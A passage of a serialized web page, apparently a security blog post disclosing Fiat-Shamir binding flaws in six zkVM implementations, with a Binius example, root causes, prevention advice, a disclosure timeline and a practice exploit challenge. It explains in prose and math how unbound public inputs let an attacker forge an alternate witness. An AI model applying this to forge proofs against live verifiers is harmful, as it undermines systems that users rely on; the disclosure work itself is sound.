...\n",{"type":24,"tag":271,"props":128847,"children":128848},{"class":273,"line":312},[128849,128853,128857,128861,128865,128870,128874,128878,128882,128886],{"type":24,"tag":271,"props":128850,"children":128851},{"style":288},[128852],{"type":29,"value":8823},{"type":24,"tag":271,"props":128854,"children":128855},{"style":624},[128856],{"type":29,"value":786},{"type":24,"tag":271,"props":128858,"children":128859},{"style":3887},[128860],{"type":29,"value":21462},{"type":24,"tag":271,"props":128862,"children":128863},{"style":288},[128864],{"type":29,"value":801},{"type":24,"tag":271,"props":128866,"children":128867},{"style":3887},[128868],{"type":29,"value":128869},"VerifyOutput",{"type":24,"tag":271,"props":128871,"children":128872},{"style":288},[128873],{"type":29,"value":801},{"type":24,"tag":271,"props":128875,"children":128876},{"style":3887},[128877],{"type":29,"value":128615},{"type":24,"tag":271,"props":128879,"children":128880},{"style":288},[128881],{"type":29,"value":14347},{"type":24,"tag":271,"props":128883,"children":128884},{"style":3887},[128885],{"type":29,"value":45066},{"type":24,"tag":271,"props":128887,"children":128888},{"style":288},[128889],{"type":29,"value":13709},{"type":24,"tag":25,"props":128891,"children":128892},{},[128893,128895,128901,128902,128908,128910,128914],{"type":29,"value":128894},"In the shift protocol, challenges ",{"type":24,"tag":135,"props":128896,"children":128898},{"className":128897},[],[128899],{"type":29,"value":128900},"r_j",{"type":29,"value":518},{"type":24,"tag":135,"props":128903,"children":128905},{"className":128904},[],[128906],{"type":29,"value":128907},"inout_eval_point",{"type":29,"value":128909}," are sampled ",{"type":24,"tag":213,"props":128911,"children":128912},{},[128913],{"type":29,"value":111381},{"type":29,"value":128915}," the public witness is bound.",{"type":24,"tag":25,"props":128917,"children":128918},{},[128919],{"type":24,"tag":213,"props":128920,"children":128921},{},[128922],{"type":29,"value":122269},{"type":24,"tag":25,"props":128924,"children":128925},{},[128926],{"type":24,"tag":74,"props":128927,"children":128930},{"alt":128928,"src":128929},"10_binius","/posts/zkvms-unfaithful-claims/10_binius.svg",[],{"type":24,"tag":25,"props":128932,"children":128933},{},[128934],{"type":29,"value":128935},"During verification",{"type":24,"tag":3834,"props":128937,"children":128938},{},[128939,128959,128971,128990],{"type":24,"tag":101,"props":128940,"children":128941},{},[128942,128944,128949,128951,128957],{"type":29,"value":128943},"Sumcheck produces challenge points ",{"type":24,"tag":135,"props":128945,"children":128947},{"className":128946},[],[128948],{"type":29,"value":128900},{"type":29,"value":128950}," (bit indices) and ",{"type":24,"tag":135,"props":128952,"children":128954},{"className":128953},[],[128955],{"type":29,"value":128956},"r_s",{"type":29,"value":128958}," (shift indices)",{"type":24,"tag":101,"props":128960,"children":128961},{},[128962,128964,128969],{"type":29,"value":128963},"Verifier samples ",{"type":24,"tag":135,"props":128965,"children":128967},{"className":128966},[],[128968],{"type":29,"value":128907},{"type":29,"value":128970}," from transcript",{"type":24,"tag":101,"props":128972,"children":128973},{},[128974,128976,128982,128984,128989],{"type":29,"value":128975},"Verifier computes ",{"type":24,"tag":135,"props":128977,"children":128979},{"className":128978},[],[128980],{"type":29,"value":128981},"public_eval = MLE(public, r_j, inout_eval_point)",{"type":29,"value":128983}," using the unbound ",{"type":24,"tag":135,"props":128985,"children":128987},{"className":128986},[],[128988],{"type":29,"value":68461},{"type":29,"value":25825},{"type":24,"tag":101,"props":128991,"children":128992},{},[128993,128994,129000],{"type":29,"value":1422},{"type":24,"tag":135,"props":128995,"children":128997},{"className":128996},[],[128998],{"type":29,"value":128999},"public_eval",{"type":29,"value":129001}," feeds into subsequent verification equations",{"type":24,"tag":25,"props":129003,"children":129004},{},[129005],{"type":29,"value":129006},"The MLE evaluation is linear in the public witness bits:",{"type":24,"tag":25,"props":129008,"children":129009},{},[129010],{"type":24,"tag":135,"props":129011,"children":129013},{"className":129012},[11705,11706],[129014],{"type":24,"tag":271,"props":129015,"children":129017},{"className":129016},[11711],[129018],{"type":24,"tag":271,"props":129019,"children":129021},{"className":129020,"ariaHidden":5670},[11716],[129022,129066,129206,129318],{"type":24,"tag":271,"props":129023,"children":129025},{"className":129024},[11721],[129026,129030,129039,129044,129053,129057,129062],{"type":24,"tag":271,"props":129027,"children":129029},{"className":129028,"style":101250},[11726],[],{"type":24,"tag":271,"props":129031,"children":129033},{"className":129032},[11732,29],[129034],{"type":24,"tag":271,"props":129035,"children":129037},{"className":129036},[11732],[129038],{"type":29,"value":68461},{"type":24,"tag":271,"props":129040,"children":129042},{"className":129041,"style":99837},[11732],[129043],{"type":29,"value":10818},{"type":24,"tag":271,"props":129045,"children":129047},{"className":129046},[11732,29],[129048],{"type":24,"tag":271,"props":129049,"children":129051},{"className":129050},[11732],[129052],{"type":29,"value":45216},{"type":24,"tag":271,"props":129054,"children":129056},{"className":129055,"style":11908},[11810],[],{"type":24,"tag":271,"props":129058,"children":129060},{"className":129059},[11913],[129061],{"type":29,"value":762},{"type":24,"tag":271,"props":129063,"children":129065},{"className":129064,"style":11908},[11810],[],{"type":24,"tag":271,"props":129067,"children":129069},{"className":129068},[11721],[129070,129074,129146,129150,129163,129168,129173,129178,129183,129188,129193,129197,129202],{"type":24,"tag":271,"props":129071,"children":129073},{"className":129072,"style":125599},[11726],[],{"type":24,"tag":271,"props":129075,"children":129077},{"className":129076},[29309],[129078,129083],{"type":24,"tag":271,"props":129079,"children":129081},{"className":129080,"style":29316},[29309,29314,29315],[129082],{"type":29,"value":115632},{"type":24,"tag":271,"props":129084,"children":129086},{"className":129085},[11747],[129087],{"type":24,"tag":271,"props":129088,"children":129090},{"className":129089},[11752,29327],[129091,129135],{"type":24,"tag":271,"props":129092,"children":129094},{"className":129093},[11757],[129095,129130],{"type":24,"tag":271,"props":129096,"children":129098},{"className":129097,"style":120509},[11762],[129099],{"type":24,"tag":271,"props":129100,"children":129101},{"style":29340},[129102,129106],{"type":24,"tag":271,"props":129103,"children":129105},{"className":129104,"style":11772},[11771],[],{"type":24,"tag":271,"props":129107,"children":129109},{"className":129108},[11777,11778,11779,11780],[129110],{"type":24,"tag":271,"props":129111,"children":129113},{"className":129112},[11732,11780],[129114,129120,129125],{"type":24,"tag":271,"props":129115,"children":129118},{"className":129116,"style":129117},[11732,29273,11780],"margin-right:0.02691em;",[129119],{"type":29,"value":2930},{"type":24,"tag":271,"props":129121,"children":129123},{"className":129122},[11842,11780],[129124],{"type":29,"value":11845},{"type":24,"tag":271,"props":129126,"children":129128},{"className":129127},[11732,29273,11780],[129129],{"type":29,"value":10954},{"type":24,"tag":271,"props":129131,"children":129133},{"className":129132},[29430],[129134],{"type":29,"value":29433},{"type":24,"tag":271,"props":129136,"children":129138},{"className":129137},[11757],[129139],{"type":24,"tag":271,"props":129140,"children":129142},{"className":129141,"style":121075},[11762],[129143],{"type":24,"tag":271,"props":129144,"children":129145},{},[],{"type":24,"tag":271,"props":129147,"children":129149},{"className":129148,"style":11849},[11810],[],{"type":24,"tag":271,"props":129151,"children":129153},{"className":129152},[11732],[129154],{"type":24,"tag":271,"props":129155,"children":129157},{"className":129156},[11732,29],[129158],{"type":24,"tag":271,"props":129159,"children":129161},{"className":129160},[11732],[129162],{"type":29,"value":68461},{"type":24,"tag":271,"props":129164,"children":129166},{"className":129165},[29402],[129167],{"type":29,"value":4520},{"type":24,"tag":271,"props":129169,"children":129171},{"className":129170,"style":129117},[11732,29273],[129172],{"type":29,"value":2930},{"type":24,"tag":271,"props":129174,"children":129176},{"className":129175},[29424],[129177],{"type":29,"value":23108},{"type":24,"tag":271,"props":129179,"children":129181},{"className":129180},[29402],[129182],{"type":29,"value":4520},{"type":24,"tag":271,"props":129184,"children":129186},{"className":129185},[11732,29273],[129187],{"type":29,"value":10954},{"type":24,"tag":271,"props":129189,"children":129191},{"className":129190},[29424],[129192],{"type":29,"value":23108},{"type":24,"tag":271,"props":129194,"children":129196},{"className":129195,"style":11811},[11810],[],{"type":24,"tag":271,"props":129198,"children":129200},{"className":129199},[11816],[129201],{"type":29,"value":118099},{"type":24,"tag":271,"props":129203,"children":129205},{"className":129204,"style":11811},[11810],[],{"type":24,"tag":271,"props":129207,"children":129209},{"className":129208},[11721],[129210,129215,129224,129229,129234,129239,129243,129300,129305,129309,129314],{"type":24,"tag":271,"props":129211,"children":129214},{"className":129212,"style":129213},[11726],"height:1.0361em;vertical-align:-0.2861em;",[],{"type":24,"tag":271,"props":129216,"children":129218},{"className":129217},[11732,29],[129219],{"type":24,"tag":271,"props":129220,"children":129222},{"className":129221},[11732],[129223],{"type":29,"value":119426},{"type":24,"tag":271,"props":129225,"children":129227},{"className":129226},[29402],[129228],{"type":29,"value":606},{"type":24,"tag":271,"props":129230,"children":129232},{"className":129231},[11732,29273],[129233],{"type":29,"value":10954},{"type":24,"tag":271,"props":129235,"children":129237},{"className":129236},[11842],[129238],{"type":29,"value":11845},{"type":24,"tag":271,"props":129240,"children":129242},{"className":129241,"style":11849},[11810],[],{"type":24,"tag":271,"props":129244,"children":129246},{"className":129245},[11732],[129247,129252],{"type":24,"tag":271,"props":129248,"children":129250},{"className":129249,"style":99837},[11732,29273],[129251],{"type":29,"value":100656},{"type":24,"tag":271,"props":129253,"children":129255},{"className":129254},[11747],[129256],{"type":24,"tag":271,"props":129257,"children":129259},{"className":129258},[11752,29327],[129260,129289],{"type":24,"tag":271,"props":129261,"children":129263},{"className":129262},[11757],[129264,129284],{"type":24,"tag":271,"props":129265,"children":129267},{"className":129266,"style":100366},[11762],[129268],{"type":24,"tag":271,"props":129269,"children":129270},{"style":116836},[129271,129275],{"type":24,"tag":271,"props":129272,"children":129274},{"className":129273,"style":11772},[11771],[],{"type":24,"tag":271,"props":129276,"children":129278},{"className":129277},[11777,11778,11779,11780],[129279],{"type":24,"tag":271,"props":129280,"children":129282},{"className":129281,"style":121060},[11732,29273,11780],[129283],{"type":29,"value":16370},{"type":24,"tag":271,"props":129285,"children":129287},{"className":129286},[29430],[129288],{"type":29,"value":29433},{"type":24,"tag":271,"props":129290,"children":129292},{"className":129291},[11757],[129293],{"type":24,"tag":271,"props":129294,"children":129296},{"className":129295,"style":125747},[11762],[129297],{"type":24,"tag":271,"props":129298,"children":129299},{},[],{"type":24,"tag":271,"props":129301,"children":129303},{"className":129302},[29424],[129304],{"type":29,"value":2693},{"type":24,"tag":271,"props":129306,"children":129308},{"className":129307,"style":11811},[11810],[],{"type":24,"tag":271,"props":129310,"children":129312},{"className":129311},[11816],[129313],{"type":29,"value":118099},{"type":24,"tag":271,"props":129315,"children":129317},{"className":129316,"style":11811},[11810],[],{"type":24,"tag":271,"props":129319,"children":129321},{"className":129320},[11721],[129322,129326,129335,129340,129345,129350,129354,129364,129369,129378,129383,129392],{"type":24,"tag":271,"props":129323,"children":129325},{"className":129324,"style":99779},[11726],[],{"type":24,"tag":271,"props":129327,"children":129329},{"className":129328},[11732,29],[129330],{"type":24,"tag":271,"props":129331,"children":129333},{"className":129332},[11732],[129334],{"type":29,"value":119426},{"type":24,"tag":271,"props":129336,"children":129338},{"className":129337},[29402],[129339],{"type":29,"value":606},{"type":24,"tag":271,"props":129341,"children":129343},{"className":129342,"style":129117},[11732,29273],[129344],{"type":29,"value":2930},{"type":24,"tag":271,"props":129346,"children":129348},{"className":129347},[11842],[129349],{"type":29,"value":11845},{"type":24,"tag":271,"props":129351,"children":129353},{"className":129352,"style":11849},[11810],[],{"type":24,"tag":271,"props":129355,"children":129357},{"className":129356},[11732,29],[129358],{"type":24,"tag":271,"props":129359,"children":129361},{"className":129360},[11732],[129362],{"type":29,"value":129363},"inout",{"type":24,"tag":271,"props":129365,"children":129367},{"className":129366,"style":99837},[11732],[129368],{"type":29,"value":10818},{"type":24,"tag":271,"props":129370,"children":129372},{"className":129371},[11732,29],[129373],{"type":24,"tag":271,"props":129374,"children":129376},{"className":129375},[11732],[129377],{"type":29,"value":45216},{"type":24,"tag":271,"props":129379,"children":129381},{"className":129380,"style":99837},[11732],[129382],{"type":29,"value":10818},{"type":24,"tag":271,"props":129384,"children":129386},{"className":129385},[11732,29],[129387],{"type":24,"tag":271,"props":129388,"children":129390},{"className":129389},[11732],[129391],{"type":29,"value":124622},{"type":24,"tag":271,"props":129393,"children":129395},{"className":129394},[29424],[129396],{"type":29,"value":2693},{"type":24,"tag":25,"props":129398,"children":129399},{},[129400,129402,129407,129409,129482],{"type":29,"value":129401},"With challenges fixed (independent of ",{"type":24,"tag":135,"props":129403,"children":129405},{"className":129404},[],[129406],{"type":29,"value":68461},{"type":29,"value":129408},"), an attacker can find an alternate witness ",{"type":24,"tag":135,"props":129410,"children":129412},{"className":129411},[11705,11706],[129413],{"type":24,"tag":271,"props":129414,"children":129416},{"className":129415},[11711],[129417],{"type":24,"tag":271,"props":129418,"children":129420},{"className":129419,"ariaHidden":5670},[11716],[129421],{"type":24,"tag":271,"props":129422,"children":129424},{"className":129423},[11721],[129425,129430],{"type":24,"tag":271,"props":129426,"children":129429},{"className":129427,"style":129428},[11726],"height:1.0307em;vertical-align:-0.1944em;",[],{"type":24,"tag":271,"props":129431,"children":129433},{"className":129432},[11732],[129434,129443],{"type":24,"tag":271,"props":129435,"children":129437},{"className":129436},[11732,29],[129438],{"type":24,"tag":271,"props":129439,"children":129441},{"className":129440},[11732],[129442],{"type":29,"value":68461},{"type":24,"tag":271,"props":129444,"children":129446},{"className":129445},[11747],[129447],{"type":24,"tag":271,"props":129448,"children":129450},{"className":129449},[11752],[129451],{"type":24,"tag":271,"props":129452,"children":129454},{"className":129453},[11757],[129455],{"type":24,"tag":271,"props":129456,"children":129459},{"className":129457,"style":129458},[11762],"height:0.8362em;",[129460],{"type":24,"tag":271,"props":129461,"children":129463},{"style":129462},"top:-3.1473em;margin-right:0.05em;",[129464,129468],{"type":24,"tag":271,"props":129465,"children":129467},{"className":129466,"style":11772},[11771],[],{"type":24,"tag":271,"props":129469,"children":129471},{"className":129470},[11777,11778,11779,11780],[129472],{"type":24,"tag":271,"props":129473,"children":129475},{"className":129474},[11732,11780],[129476],{"type":24,"tag":271,"props":129477,"children":129479},{"className":129478},[11732,11780],[129480],{"type":29,"value":129481},"′",{"type":29,"value":129483}," that produces the same evaluation. This is a single 128-bit linear constraint over hundreds of bits, yielding a single linear equation in a high-dimensional binary witness space, which is typically underconstrained and admits many alternative witnesses under common parameterizations.",{"type":24,"tag":25,"props":129485,"children":129486},{},[129487,129491,129493],{"type":24,"tag":213,"props":129488,"children":129489},{},[129490],{"type":29,"value":123547},{"type":29,"value":129492}," Fixed on December 29, 2025 via ",{"type":24,"tag":32,"props":129494,"children":129497},{"href":129495,"rel":129496},"https://github.com/binius-zk/binius64/pull/1355/commits/86a515f0632d2acdf547ed82780dfe7f9f39358f",[36],[129498],{"type":29,"value":129499},"commit 86a515f",{"type":24,"tag":26485,"props":129501,"children":129502},{},[],{"type":24,"tag":62,"props":129504,"children":129506},{"id":129505},"why-does-this-keep-happening",[129507],{"type":29,"value":129508},"Why Does This Keep Happening?",{"type":24,"tag":25,"props":129510,"children":129511},{},[129512],{"type":29,"value":129513},"Given that we found the same bug class in six independent implementations, at some point we have to ask whether there is a systemic issue making this mistake so common.",{"type":24,"tag":85,"props":129515,"children":129517},{"id":129516},"academic-papers-dont-specify-fiat-shamir",[129518],{"type":29,"value":129519},"Academic Papers Don't Specify Fiat-Shamir",{"type":24,"tag":25,"props":129521,"children":129522},{},[129523,129525,129530,129532,129557,129559,129562,129564,129589,129591,129618],{"type":29,"value":129524},"Academic papers usually describe ",{"type":24,"tag":10648,"props":129526,"children":129527},{},[129528],{"type":29,"value":129529},"interactive",{"type":29,"value":129531}," protocols: \"Prover sends ",{"type":24,"tag":135,"props":129533,"children":129535},{"className":129534},[11705,11706],[129536],{"type":24,"tag":271,"props":129537,"children":129539},{"className":129538},[11711],[129540],{"type":24,"tag":271,"props":129541,"children":129543},{"className":129542,"ariaHidden":5670},[11716],[129544],{"type":24,"tag":271,"props":129545,"children":129547},{"className":129546},[11721],[129548,129552],{"type":24,"tag":271,"props":129549,"children":129551},{"className":129550,"style":29268},[11726],[],{"type":24,"tag":271,"props":129553,"children":129555},{"className":129554,"style":29805},[11732,29273],[129556],{"type":29,"value":123066},{"type":29,"value":129558},". Verifier sends",{"type":24,"tag":38643,"props":129560,"children":129561},{},[],{"type":29,"value":129563},"random ",{"type":24,"tag":135,"props":129565,"children":129567},{"className":129566},[11705,11706],[129568],{"type":24,"tag":271,"props":129569,"children":129571},{"className":129570},[11711],[129572],{"type":24,"tag":271,"props":129573,"children":129575},{"className":129574,"ariaHidden":5670},[11716],[129576],{"type":24,"tag":271,"props":129577,"children":129579},{"className":129578},[11721],[129580,129584],{"type":24,"tag":271,"props":129581,"children":129583},{"className":129582,"style":117678},[11726],[],{"type":24,"tag":271,"props":129585,"children":129587},{"className":129586,"style":99837},[11732,29273],[129588],{"type":29,"value":100656},{"type":29,"value":129590},". Prover sends ",{"type":24,"tag":135,"props":129592,"children":129594},{"className":129593},[11705,11706],[129595],{"type":24,"tag":271,"props":129596,"children":129598},{"className":129597},[11711],[129599],{"type":24,"tag":271,"props":129600,"children":129602},{"className":129601,"ariaHidden":5670},[11716],[129603],{"type":24,"tag":271,"props":129604,"children":129606},{"className":129605},[11721],[129607,129611],{"type":24,"tag":271,"props":129608,"children":129610},{"className":129609,"style":29268},[11726],[],{"type":24,"tag":271,"props":129612,"children":129615},{"className":129613,"style":129614},[11732,29273],"margin-right:0.00773em;",[129616],{"type":29,"value":129617},"R",{"type":29,"value":129619},".\"",{"type":24,"tag":25,"props":129621,"children":129622},{},[129623,129625,129650,129652,129677],{"type":29,"value":129624},"They often omit the necessary steps to make the protocol non-interactive: \"Hash ",{"type":24,"tag":135,"props":129626,"children":129628},{"className":129627},[11705,11706],[129629],{"type":24,"tag":271,"props":129630,"children":129632},{"className":129631},[11711],[129633],{"type":24,"tag":271,"props":129634,"children":129636},{"className":129635,"ariaHidden":5670},[11716],[129637],{"type":24,"tag":271,"props":129638,"children":129640},{"className":129639},[11721],[129641,129645],{"type":24,"tag":271,"props":129642,"children":129644},{"className":129643,"style":29268},[11726],[],{"type":24,"tag":271,"props":129646,"children":129648},{"className":129647,"style":29805},[11732,29273],[129649],{"type":29,"value":123066},{"type":29,"value":129651}," before sampling ",{"type":24,"tag":135,"props":129653,"children":129655},{"className":129654},[11705,11706],[129656],{"type":24,"tag":271,"props":129657,"children":129659},{"className":129658},[11711],[129660],{"type":24,"tag":271,"props":129661,"children":129663},{"className":129662,"ariaHidden":5670},[11716],[129664],{"type":24,"tag":271,"props":129665,"children":129667},{"className":129666},[11721],[129668,129672],{"type":24,"tag":271,"props":129669,"children":129671},{"className":129670,"style":117678},[11726],[],{"type":24,"tag":271,"props":129673,"children":129675},{"className":129674,"style":99837},[11732,29273],[129676],{"type":29,"value":100656},{"type":29,"value":129678},". Also hash the public statement. Also hash intermediate values that affect later equations.\"",{"type":24,"tag":25,"props":129680,"children":129681},{},[129682],{"type":29,"value":129683},"Security proofs thus also analyze the interactive protocols where binding is implicit. The responsibility of determining what to include in the transcript therefore falls on the implementor, which may not have a good understanding of the full protocol.",{"type":24,"tag":85,"props":129685,"children":129687},{"id":129686},"the-hot-potato-problem",[129688],{"type":29,"value":129689},"The Hot Potato Problem",{"type":24,"tag":25,"props":129691,"children":129692},{},[129693],{"type":29,"value":129694},"Modern zkVMs are modular:",{"type":24,"tag":25,"props":129696,"children":129697},{},[129698],{"type":24,"tag":74,"props":129699,"children":129702},{"alt":129700,"src":129701},"11_hot_potato","/posts/zkvms-unfaithful-claims/11_hot_potato.svg",[],{"type":24,"tag":25,"props":129704,"children":129705},{},[129706],{"type":29,"value":129707},"It often happens that each layer assumes the previous/next layer handles the transcript binding for a value, so in the end it never happens.",{"type":24,"tag":85,"props":129709,"children":129711},{"id":129710},"optimization-pressure",[129712],{"type":29,"value":129713},"Optimization Pressure",{"type":24,"tag":25,"props":129715,"children":129716},{},[129717],{"type":29,"value":129718},"Performance is existential for ZK. Since every hash operation has a cost, there is constant pressure to exclude values that are \"probably fine\" to leave out.",{"type":24,"tag":25,"props":129720,"children":129721},{},[129722],{"type":29,"value":129723},"There are indeed cases when this can be done safely, but determining what is safe requires a full understanding of all protocols involved, and the decision to exclude something should be double and triple checked by experts.",{"type":24,"tag":85,"props":129725,"children":129727},{"id":129726},"testing-doesnt-catch-adversarial-inputs",[129728],{"type":29,"value":129729},"Testing Doesn't Catch Adversarial Inputs",{"type":24,"tag":25,"props":129731,"children":129732},{},[129733],{"type":29,"value":129734},"Unit tests run the honest prover. Integration tests run the honest prover. Fuzzing only randomly perturbs values and has a very low probability of succeeding in fooling a verifier. Identifying Fiat-Shamir bugs requires thorough manual security analysis, and sometimes even that falls short.",{"type":24,"tag":26485,"props":129736,"children":129737},{},[],{"type":24,"tag":62,"props":129739,"children":129741},{"id":129740},"how-to-find-and-fix-these-bugs",[129742],{"type":29,"value":129743},"How to Find and Fix These Bugs",{"type":24,"tag":85,"props":129745,"children":129747},{"id":129746},"prevention",[129748],{"type":29,"value":129749},"Prevention",{"type":24,"tag":25,"props":129751,"children":129752},{},[129753],{"type":29,"value":129754},"Fiat-Shamir has long been a known source of soundness bugs, which has driven the development of primitives that make implementation less error-prone.",{"type":24,"tag":25,"props":129756,"children":129757},{},[129758],{"type":29,"value":129759},"One such tool is to merge the proof and transcript, to force all values that are sent by the prover to be automatically absorbed into the transcript.",{"type":24,"tag":25,"props":129761,"children":129762},{},[129763],{"type":29,"value":129764},"The prover holds a proof buffer which emulates the communication channel between prover and verifier. When a value is sent by the prover it is added to the proof buffer and automatically absorbed into the transcript. When the prover then needs to read a challenge from the verifier it simply squeezes from the current transcript.",{"type":24,"tag":25,"props":129766,"children":129767},{},[129768],{"type":29,"value":129769},"This can then be done in reverse for the verifier. It gradually reads values from the proof buffer and can thus sync the transcript state and derive the same challenges.",{"type":24,"tag":25,"props":129771,"children":129772},{},[129773],{"type":29,"value":129774},"Halo2 follows this pattern, and Binius is transcript-centric as well. But even with a merged proof/transcript, statement data (e.g., public inputs) must still be absorbed before sampling any challenges that govern equations depending on them—and as Binius demonstrates, even transcript-centric systems can miss this.",{"type":24,"tag":26485,"props":129776,"children":129777},{},[],{"type":24,"tag":62,"props":129779,"children":129781},{"id":129780},"responsible-disclosure-timeline",[129782],{"type":29,"value":129783},"Responsible Disclosure Timeline",{"type":24,"tag":5389,"props":129785,"children":129786},{},[129787,129815],{"type":24,"tag":129788,"props":129789,"children":129790},"thead",{},[129791],{"type":24,"tag":129792,"props":129793,"children":129794},"tr",{},[129795,129800,129805,129810],{"type":24,"tag":129796,"props":129797,"children":129798},"th",{},[129799],{"type":29,"value":30893},{"type":24,"tag":129796,"props":129801,"children":129802},{},[129803],{"type":29,"value":129804},"Reported",{"type":24,"tag":129796,"props":129806,"children":129807},{},[129808],{"type":29,"value":129809},"Fixed",{"type":24,"tag":129796,"props":129811,"children":129812},{},[129813],{"type":29,"value":129814},"Response Time",{"type":24,"tag":129816,"props":129817,"children":129818},"tbody",{},[129819,129842,129863,129883,129905,129926],{"type":24,"tag":129792,"props":129820,"children":129821},{},[129822,129827,129832,129837],{"type":24,"tag":129823,"props":129824,"children":129825},"td",{},[129826],{"type":29,"value":114650},{"type":24,"tag":129823,"props":129828,"children":129829},{},[129830],{"type":29,"value":129831},"Sep 2025",{"type":24,"tag":129823,"props":129833,"children":129834},{},[129835],{"type":29,"value":129836},"Oct 3, 2025",{"type":24,"tag":129823,"props":129838,"children":129839},{},[129840],{"type":29,"value":129841},"\u003C1 week",{"type":24,"tag":129792,"props":129843,"children":129844},{},[129845,129849,129854,129859],{"type":24,"tag":129823,"props":129846,"children":129847},{},[129848],{"type":29,"value":114656},{"type":24,"tag":129823,"props":129850,"children":129851},{},[129852],{"type":29,"value":129853},"Oct 2025",{"type":24,"tag":129823,"props":129855,"children":129856},{},[129857],{"type":29,"value":129858},"Oct 24, 2025",{"type":24,"tag":129823,"props":129860,"children":129861},{},[129862],{"type":29,"value":129841},{"type":24,"tag":129792,"props":129864,"children":129865},{},[129866,129870,129874,129879],{"type":24,"tag":129823,"props":129867,"children":129868},{},[129869],{"type":29,"value":114662},{"type":24,"tag":129823,"props":129871,"children":129872},{},[129873],{"type":29,"value":129853},{"type":24,"tag":129823,"props":129875,"children":129876},{},[129877],{"type":29,"value":129878},"Oct 31, 2025",{"type":24,"tag":129823,"props":129880,"children":129881},{},[129882],{"type":29,"value":129841},{"type":24,"tag":129792,"props":129884,"children":129885},{},[129886,129890,129895,129900],{"type":24,"tag":129823,"props":129887,"children":129888},{},[129889],{"type":29,"value":114668},{"type":24,"tag":129823,"props":129891,"children":129892},{},[129893],{"type":29,"value":129894},"Nov 2025",{"type":24,"tag":129823,"props":129896,"children":129897},{},[129898],{"type":29,"value":129899},"Mar 5, 2026",{"type":24,"tag":129823,"props":129901,"children":129902},{},[129903],{"type":29,"value":129904},"~4 months",{"type":24,"tag":129792,"props":129906,"children":129907},{},[129908,129912,129917,129922],{"type":24,"tag":129823,"props":129909,"children":129910},{},[129911],{"type":29,"value":114680},{"type":24,"tag":129823,"props":129913,"children":129914},{},[129915],{"type":29,"value":129916},"Dec 2025",{"type":24,"tag":129823,"props":129918,"children":129919},{},[129920],{"type":29,"value":129921},"Dec 29, 2025",{"type":24,"tag":129823,"props":129923,"children":129924},{},[129925],{"type":29,"value":129841},{"type":24,"tag":129792,"props":129927,"children":129928},{},[129929,129933,129937,129942],{"type":24,"tag":129823,"props":129930,"children":129931},{},[129932],{"type":29,"value":114674},{"type":24,"tag":129823,"props":129934,"children":129935},{},[129936],{"type":29,"value":129894},{"type":24,"tag":129823,"props":129938,"children":129939},{},[129940],{"type":29,"value":129941},"Jan 21, 2026?",{"type":24,"tag":129823,"props":129943,"children":129944},{},[129945],{"type":29,"value":129946},"3 months",{"type":24,"tag":25,"props":129948,"children":129949},{},[129950],{"type":29,"value":129951},"All six teams were notified; responses ranged from immediate acknowledgement to delayed fix, and all reported issues have since been addressed.",{"type":24,"tag":26485,"props":129953,"children":129954},{},[],{"type":24,"tag":62,"props":129956,"children":129958},{"id":129957},"challenges",[129959],{"type":29,"value":114693},{"type":24,"tag":25,"props":129961,"children":129962},{},[129963,129965],{"type":29,"value":129964},"Do you think you have a good understanding of these bugs? We have prepared challenges to allow you to practice implementing two of these exploits. If you solve any of them, follow the instructions in the flag ",{"type":24,"tag":129966,"props":129967,"children":129968},"del",{},[129969],{"type":29,"value":129970},"the first 10 solvers will get a T-shirt.",{"type":24,"tag":25,"props":129972,"children":129973},{},[129974,129976,130029,130030,130286],{"type":29,"value":129975},"Your goal is to find a counter example of Fermat's Last Theorem, i.e you know ",{"type":24,"tag":135,"props":129977,"children":129979},{"className":129978},[11705,11706],[129980],{"type":24,"tag":271,"props":129981,"children":129983},{"className":129982},[11711],[129984],{"type":24,"tag":271,"props":129985,"children":129987},{"className":129986,"ariaHidden":5670},[11716],[129988],{"type":24,"tag":271,"props":129989,"children":129991},{"className":129990},[11721],[129992,129996,130001,130006,130010,130015,130020,130024],{"type":24,"tag":271,"props":129993,"children":129995},{"className":129994,"style":121892},[11726],[],{"type":24,"tag":271,"props":129997,"children":129999},{"className":129998},[11732,29273],[130000],{"type":29,"value":32},{"type":24,"tag":271,"props":130002,"children":130004},{"className":130003},[11842],[130005],{"type":29,"value":11845},{"type":24,"tag":271,"props":130007,"children":130009},{"className":130008,"style":11849},[11810],[],{"type":24,"tag":271,"props":130011,"children":130013},{"className":130012},[11732,29273],[130014],{"type":29,"value":10954},{"type":24,"tag":271,"props":130016,"children":130018},{"className":130017},[11842],[130019],{"type":29,"value":11845},{"type":24,"tag":271,"props":130021,"children":130023},{"className":130022,"style":11849},[11810],[],{"type":24,"tag":271,"props":130025,"children":130027},{"className":130026},[11732,29273],[130028],{"type":29,"value":578},{"type":29,"value":116493},{"type":24,"tag":135,"props":130031,"children":130033},{"className":130032},[11705,11706],[130034],{"type":24,"tag":271,"props":130035,"children":130037},{"className":130036},[11711],[130038],{"type":24,"tag":271,"props":130039,"children":130041},{"className":130040,"ariaHidden":5670},[11716],[130042,130105,130167,130273],{"type":24,"tag":271,"props":130043,"children":130045},{"className":130044},[11721],[130046,130051,130092,130096,130101],{"type":24,"tag":271,"props":130047,"children":130050},{"className":130048,"style":130049},[11726],"height:0.8974em;vertical-align:-0.0833em;",[],{"type":24,"tag":271,"props":130052,"children":130054},{"className":130053},[11732],[130055,130060],{"type":24,"tag":271,"props":130056,"children":130058},{"className":130057},[11732,29273],[130059],{"type":29,"value":32},{"type":24,"tag":271,"props":130061,"children":130063},{"className":130062},[11747],[130064],{"type":24,"tag":271,"props":130065,"children":130067},{"className":130066},[11752],[130068],{"type":24,"tag":271,"props":130069,"children":130071},{"className":130070},[11757],[130072],{"type":24,"tag":271,"props":130073,"children":130075},{"className":130074,"style":11727},[11762],[130076],{"type":24,"tag":271,"props":130077,"children":130078},{"style":11766},[130079,130083],{"type":24,"tag":271,"props":130080,"children":130082},{"className":130081,"style":11772},[11771],[],{"type":24,"tag":271,"props":130084,"children":130086},{"className":130085},[11777,11778,11779,11780],[130087],{"type":24,"tag":271,"props":130088,"children":130090},{"className":130089},[11732,11780],[130091],{"type":29,"value":4525},{"type":24,"tag":271,"props":130093,"children":130095},{"className":130094,"style":11811},[11810],[],{"type":24,"tag":271,"props":130097,"children":130099},{"className":130098},[11816],[130100],{"type":29,"value":1012},{"type":24,"tag":271,"props":130102,"children":130104},{"className":130103,"style":11811},[11810],[],{"type":24,"tag":271,"props":130106,"children":130108},{"className":130107},[11721],[130109,130113,130154,130158,130163],{"type":24,"tag":271,"props":130110,"children":130112},{"className":130111,"style":11727},[11726],[],{"type":24,"tag":271,"props":130114,"children":130116},{"className":130115},[11732],[130117,130122],{"type":24,"tag":271,"props":130118,"children":130120},{"className":130119},[11732,29273],[130121]